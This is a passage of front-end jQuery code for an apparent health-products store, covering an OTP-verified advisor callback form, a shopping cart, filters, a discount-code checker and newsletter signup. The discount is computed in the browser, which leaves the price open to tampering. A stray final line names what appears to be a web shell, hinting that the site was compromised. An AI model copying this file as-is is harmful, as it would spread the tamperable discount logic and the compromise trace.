			$.ajax({
				
				  type: "POST",
				  url: base_url+"home/callHealthAdvisor",
				  data: { mobile : advisor_mobile, full_name : advisor_name }, // pass it as POST parameter
				  success: function(data){
					  
						if(data>0){
						$("#call_mobile_number").html(advisor_mobile);
						$("#getacall_form").hide();
						$("#getacall_otp").show();
						return false;
					} else { 
						$("#advisor_mobile").addClass('has-error');
					}
				 }
				 
			});
		
			return false;
			
			
		} else {
			$("#advisor_mobile").addClass('has-error');
			return false;
		}
   }
   
});


$('#call_resend_opt').click(function () {
	
   var base_url = $("#base_url").val();
   var advisor_mobile = $("#getacall_phone").val();
   $("#getacall_phone").removeClass('has-error');
   if(advisor_mobile==''){
	   $("#getacall_phone").addClass('has-error');
	   return false;
   } else {
	    var filter = /^((\+[1-9]{1,4}[ \-]*)|(\([0-9]{2,3}\)[ \-]*)|([0-9]{2,4})[ \-]*)*?[0-9]{3,4}?[ \-]*[0-9]{3,4}?$/;
		if (filter.test(advisor_mobile) && jQuery.trim(advisor_mobile).length >= 10) {
			$("#getacall_phone").removeClass('has-error');
			
			$.ajax({
				
				  type: "POST",
				  url: base_url+"home/callHealthAdvisor",
				  data: { mobile : advisor_mobile }, // pass it as POST parameter
				  success: function(data){
					
					if(data>0){
						$("#call_resend_msg").show();
						setTimeout(function() { $('#call_resend_msg').slideUp("slow"); }, 5000);
						return false;
					} else { 
						$("#call_resend_error_msg").show();
						setTimeout(function() { $('#call_resend_error_msg').slideUp("slow"); }, 5000);
						return false;
					}
				 }
				 
			});
		
			return false;
			
			
		} else {
			$("#getacall_phone").addClass('has-error');
			return false;
		}
   }
   
});

$("#call_advisor_continue").click(function () {
		var base_url = $("#base_url").val();
		var advisor_mobile = $("#getacall_phone").val();
		var mobile_otp = $("#call_mobile_otp").val();
		
		$("#call_mobile_otp").removeClass('has-error');
		$("#call_resend_error_msg").hide();
		
		if(mobile_otp==''){
			$("#call_mobile_otp").addClass('has-error');
			return false;
			
		} else {
			
			$("#call_mobile_otp").removeClass('has-error');
			
			if (mobile_otp.match('[0-9]{4}') && jQuery.trim(mobile_otp).length ==4) {
			
				$.ajax({
					
					  type: "POST",
					  url: base_url+"home/callHealthAdvisor",
					  data: { mobile : advisor_mobile, otp : mobile_otp }, // pass it as POST parameter
					  success: function(data){
					
						if(data>0){
							
							$("#getacall_otp").hide();
							$("#getacall_form").show();
							$("#alert_msg").show();
							$("#getacall_phone").val('');
							$("#getcall_name").val('');
							$("#alert_msg").html('You will get a call back shortly');
							setTimeout(function() { $('#alert_msg').slideUp("slow"); }, 5000);
							return false;
							
						} else { 
							$("#call_resend_error_msg").show();
							$("#call_mobile_otp").addClass('has-error');
							$("#call_resend_error_msg").html('Invalid OTP');
							setTimeout(function() { $('#call_resend_error_msg').slideUp("slow"); }, 5000);
						}
					 }
					 
				});
				
				return false;
				
			} else {
				$("#call_resend_error_msg").show();
				$("#call_mobile_otp").addClass('has-error');
				$("#call_resend_error_msg").html('Invalid OTP');
				setTimeout(function() { $('#call_resend_error_msg').slideUp("slow"); }, 5000);
				return false;
				
			}
		}
});

$('#resend_callback_opt').click(function () {
	
   var base_url = $("#base_url").val();
   var advisor_mobile = $("#advisor_mobile").val();
   $("#advisor_mobile").removeClass('has-error');
   if(advisor_mobile==''){
	   $("#advisor_mobile").addClass('has-error');
	   return false;
   } else {
	    var filter = /^((\+[1-9]{1,4}[ \-]*)|(\([0-9]{2,3}\)[ \-]*)|([0-9]{2,4})[ \-]*)*?[0-9]{3,4}?[ \-]*[0-9]{3,4}?$/;
		if (filter.test(advisor_mobile) && jQuery.trim(advisor_mobile).length >= 10) {
			$("#advisor_mobile").removeClass('has-error');
			
			$.ajax({
				
				  type: "POST",
				  url: base_url+"home/advisor",
				  data: { mobile : advisor_mobile }, // pass it as POST parameter
				  success: function(data){
					
					if(data>0){
						$("#resend_msg").show();
						setTimeout(function() { $('#resend_msg').slideUp("slow"); }, 5000);
						return false;
					} else { 
						$("#resend_error_msg").show();
						setTimeout(function() { $('#resend_error_msg').slideUp("slow"); }, 5000);
						return false;
					}
				 }
				 
			});
		
			return false;
			
			
		} else {
			$("#advisor_mobile").addClass('has-error');
			return false;
		}
   }
   
});

// Shopping Cart Manager
$('a.add-to-cart').click(function () {
    var reload = false;
    var article_id = $(this).data('id');
    var goto_site = $(this).data('goto');
    if ($(this).hasClass('refresh-me')) {
        reload = true;
    } else if (goto_site != null) {
        reload = goto_site;
    }
    manageShoppingCart('add', article_id, reload);
});

//DatePicker
if (typeof datepicker !== 'undefined') {
    $('.input-group.date').datepicker({
        format: "dd/mm/yy"
    });
}

//Filters Technique
$('.go-category').click(function () {
    var category = $(this).data('categorie-id');
    $('[name="category"]').val(category);
    submitForm();
});
$('.in-stock').click(function () {
    var in_stock = $(this).data('in-stock');
    $('[name="in_stock"]').val(in_stock);
    submitForm()
});
$(".order").change(function () {
    var order_type = $(this).val();
    var order_to = $(this).data('order-to');
    $('[name="' + order_to + '"]').val(order_type);
    submitForm();
});
$('.brand').click(function () {
    var brand_id = $(this).data('brand-id');
    $('[name="brand_id"]').val(brand_id);
    submitForm()
});
$("#search_in_title").keyup(function () {
    $('[name="search_in_title"]').val($(this).val());
});
$('#clear-form').click(function () {
    $('#search_in_title, [name="search_in_title"]').val('');
    $('#bigger-search .form-control').each(function () {
        $(this).val('');
    });
    submitForm();
});
$('.clear-filter').click(function () { //clear filter in right col
    var type_clear = $(this).data('type-clear');
    $('[name="' + type_clear + '"]').val('');
    submitForm();
});
/*
 * Submit search form in home page
 */
function submitForm() {
    document.getElementById("bigger-search").submit();
}
/*
 * Discount code checker
 */
var is_discounted = false;
function checkDiscountCode() {
    var enteredCode = $('[name="discountCode"]').val();
    $.ajax({
        type: "POST",
        url: variable.discountCodeChecker,
        data: {enteredCode: enteredCode}
    }).done(function (data) {
        if (data == 0) {
            ShowNotificator('alert-danger', lang.discountCodeInvalid);
        } else {
            if (is_discounted == false) {
                var obj = jQuery.parseJSON(data);
                var final_amount_before = parseFloat($('.final-amount').text());
                var discountAmoun;
                if (obj.type == 'percent') {
                    var substract_num = (obj.amount / 100) * final_amount_before;
                    var final_amount = final_amount_before - substract_num;
                    discountAmoun = substract_num;
                }
                if (obj.type == 'float') {
                    var final_amount = final_amount_before - obj.amount;
                    discountAmoun = obj.amount;
                }
                $('.final-amount').text(final_amount.toFixed(2));
                $('.final-amount').val(final_amount.toFixed(2));
                $('[name="discountAmount"]').val(discountAmoun);
                is_discounted = true;
            }
        }
    });
}

function removeProduct(id, reload) {
    manageShoppingCart('remove', id, reload);
}
function manageShoppingCart(action, article_id, reload) {
    var action_error_msg = lang.error_to_cart;
    if (action == 'add') {
        $('.add-to-cart a[data-id="' + article_id + '"] span').hide();
        $('.add-to-cart a[data-id="' + article_id + '"] img').show();
        var action_success_msg = lang.added_to_cart;
    }
    if (action == 'remove') {
        var action_success_msg = lang.remove_from_cart;
    }
    $.ajax({
        type: "POST",
        url: variable.manageShoppingCartUrl,
        data: {article_id: article_id, action: action}
    }).done(function (data) {
        $(".dropdown-cart").empty();
        $(".dropdown-cart").append(data);
        var sum_items = parseInt($('.sumOfItems').text());
        if (action == 'add') {
            $('.sumOfItems').text(sum_items + 1);
        }
        if (action == 'remove') {
            $('.sumOfItems').text(sum_items - 1);
        }
        if (reload == true) {
            location.reload(false);
            return;
        } else if (typeof reload == 'string') {
            location.href = reload;
            return;
        }
        ShowNotificator('alert-info', action_success_msg);
    }).fail(function (err) {
        ShowNotificator('alert-danger', action_error_msg);
    }).always(function () {
        if (action == 'add') {
            $('.add-to-cart a[data-id="' + article_id + '"] span').show();
            $('.add-to-cart a[data-id="' + article_id + '"] img').hide();
        }
    });
}

function clearCart() {
    $.ajax({type: "POST", url: variable.clearShoppingCartUrl});
    $('ul.dropdown-cart').empty();
    $('ul.dropdown-cart').append('<li class="text-center">' + lang.no_products + '</li>');
    $('.sumOfItems').text(0);
    ShowNotificator('alert-info', lang.cleared_cart);
}

//Email Subscribe
function checkEmailField() {
	
    var email_id = $("#subscribeEmail").val();
    $("#subscribeEmail").removeClass('has-error');
    var emailReg =  /^[a-z0-9]+([-._][a-z0-9]+)*@([a-z0-9]+(-[a-z0-9]+)*\.)+[a-z]{2,4}$/;
	$("#subscribeEmail_msg").remove()
	if(email_id==''){
		
		$("#subscribeEmail").addClass('has-error');
		$("<span style='color:red;' id='subscribeEmail_msg'>Please enter valid email id.</span>" ).insertAfter("#updates_div");
		return false;
	} else {
		
	  if(emailReg.test( email_id )){
	
		$.ajax({
			type: "POST",
			url : $('body').attr('data-base-url') + 'users/subscribedNow',
			data: {email_id:email_id }, 
			success: function(data){
				
				if(data>0){
					
					$("<span style='color:green;' id='subscribeEmail_msg'>You have subscribed for healthy updates successfully.</span>" ).insertAfter("#updates_div");
					$("#subscribeEmail").val('');
					setTimeout(function() { $('#subscribeEmail_msg').slideUp("slow"); }, 8000);
					return false;
				} else if(data=='Already subscribed') {
					$("<span style='color:red;' id='subscribeEmail_msg'>You have already subscribed for healthy updates.</span>" ).insertAfter("#updates_div");
					$("#subscribeEmail").val('');
					setTimeout(function() { $('#subscribeEmail_msg').slideUp("slow"); }, 8000);
					return false;
				}else  {
					 $("<span style='color:red;' id='subscribeEmail_msg'>Invalid Request</span>" ).insertAfter("#updates_div");
					setTimeout(function() { $('#subscribeEmail_msg').slideUp("slow"); }, 4000);
					return false;
					
				} 
			
		  }
		 
		}); 
	
	  } else {
		 $("#subscribeEmail").addClass('has-error');
		 $("<span style='color:red;' id='subscribeEmail_msg'>Please enter valid email id.</span>" ).insertAfter("#updates_div");
		 return false; 
	  }
	}
	return false;
   
}

 function validateEmail($email) {
  var emailReg = /^([\w-\.]+@([\w-]+\.)+[\w-]{2,4})?$/;
  return emailReg.test( $email );
}


// Top Notificator
function ShowNotificator(add_class, the_text) {
    $('div#notificator').text(the_text).addClass(add_class).slideDown('slow').delay(3000).slideUp('slow', function () {
        $(this).removeClass(add_class).empty();
    });
}

Kontol Shell Bypass